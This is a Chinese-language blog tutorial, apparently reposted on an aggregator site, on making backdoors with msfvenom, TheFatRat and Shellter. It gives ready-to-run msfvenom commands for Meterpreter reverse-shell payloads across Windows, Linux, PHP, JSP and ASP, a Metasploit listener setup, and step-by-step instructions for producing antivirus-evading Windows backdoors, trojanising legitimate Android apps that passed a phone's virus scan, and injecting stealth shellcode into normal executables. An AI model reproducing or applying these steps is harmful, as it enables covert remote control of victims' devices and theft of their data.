Metasploit学习2-后门制作
title: Metasploit學習2-后門制作
 date: 2018-04-15 20:15:19
 categories: 安全
 tags: [Metasploit,工具]
 
介紹下幾個后門制作工具的使用,主要包括msfvenom,thefatrat(推薦),shellter。
msfvenom
msfvenom是msf框架中用來生成后門的工具。
查看命令
? ~ msfvenom -h MsfVenom - a Metasploit standalone payload generator. Also a replacement for msfpayload and msfencode. Usage: /opt/metasploit-framework/bin/../embedded/framework/msfvenom [options] <var=val>Options:-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads--payload-options List the payload's standard options-l, --list [type] List a module type. Options are: payloads, encoders, nops, all-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload-f, --format <format> Output format (use --help-formats for a list)--help-formats List available formats-e, --encoder <encoder> The encoder to use-a, --arch <arch> The architecture to use--platform <platform> The platform of the payload--help-platforms List available platforms-s, --space <length> The maximum size of the resulting payload--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)-b, --bad-chars <list> The list of characters to avoid example: '\x00\xff'-i, --iterations <count> The number of times to encode the payload-c, --add-code <path> Specify an additional win32 shellcode file to include-x, --template <path> Specify a custom executable file to use as a template-k, --keep Preserve the template behavior and inject the payload as a new thread-o, --out <path> Save the payload-v, --var-name <name> Specify a custom variable name to use for certain output formats--smallest Generate the smallest possible payload-h, --help Show this message其中常用的幾個參數
-l 顯示模塊列表。例如payloads, encoders
 -p 選擇需要使用的payload
 -a 選擇目標架構
 -e 編碼方式
 -i 指定payload的編碼次數
 -f 生成的文件格式
 -o 保存生成的文件
常用的后門生成命令:
windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=8081 -f exe > shell.exeLINUX
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=8081 -f elf > shell.elfPHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.1 LPORT=8081 -f raw > shell.phpJSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.1 LPORT=8081 -f raw > shell.jspASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=8081 -f asp > shell.asp這里LHOST為本地監聽IP,LPORT為監聽端口。
TheFatRat
TheFatRat是同樣是一款生成后門的工具,操作簡單,功能強大,非常值得推薦使用。
安裝
git clone https://github.com/Screetsec/TheFatRat.git cd TheFatRat chmod +x setup.sh && ./setup.sh使用
安裝完成后會在桌面出現圖標,直接點擊即可使用,或者在命令行輸入fatrat啟動,啟動時會進行配置檢查,
 打開后如圖所示,按照功能輸入數字即可。
如圖,1為使用msfvenom制作后門,2、3、4、6為制作免殺windows后門,5制作安卓后門,7制作office后門,8為debian木馬,9導入/創建自動監聽,10跳轉到msfconsole,11SearchSploit工具,13設置默認監聽IP和端口。
生成windows免殺后門方式,選擇選項6,再選擇1,然后輸入ip,端口和payload等信息。
然后會生成一個bat后門文件,將生成的后門放到windows中運行即可。
監聽
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.101.1 set LPORT 8081 runPS:在windows10上測試,使用各種方式生成的后門基本上都不能免殺,或者是不起作用。
Android隱蔽后門
使用msfvenom生成的android后門一般只有一個圖標,但是不具有欺騙性,在實際中很難讓人放心安裝,這里可以使用對普通應用加后門的方式達到隱蔽效果。使用TheFatRat可以生成隱蔽式的后門。
使用fatrat生成后門方法
1.打開fatrat后選擇選項5 Backdooring Original apk [Instagram, Line,etc]
2.在新打開的終端中輸入ip,端口和app的路徑,這里已re文件管理器為例,然后選擇payload和生成方式,如圖:
成功生成后門后,在小米手機上安裝時病毒掃描通過,并且可以正常運行,然后使msfconsole進行監聽即可。
但是由于miui系統的權限管理,所以很多操作都需要授權,例如讀取聯系人短信等,否則msf是無法獲取信息。另外需要注意的是并不是所有的app都可以成功。
shellter
Shellter是一款動態shellcode注入工具??梢詫⒑箝Tshell注入到正常程序中。
安裝
在kali linux下可以直接通過源安裝apt-get install shellter
使用
在終端下輸入shellter,會打開一個新的終端,輸入選項A,代表自動模式,然后輸入exe文件路徑,如圖
等待一會,會詢問Enable Stealth Mode?是否開啟隱身模式,即免殺,輸入Y,然后選擇payload,再輸入IP和端口等信息。
然后就會自動生成后門程序。在windows10上測試,可以免殺,但是會彈框要求上傳可疑文件進行分析,而且smartscreen篩選器會阻止運行,需要手動點擊運行才可以。
參考:
 使用msfvenom生成木馬用于監聽別人的操作
總結
以上是生活随笔為你收集整理的Metasploit学习2-后门制作的全部內容,希望文章能夠幫你解決所遇到的問題。
                            
                        - 上一篇: 显示器尺寸对照表_电脑液晶屏尺寸如何计算
 - 下一篇: 信号量进程同步与互斥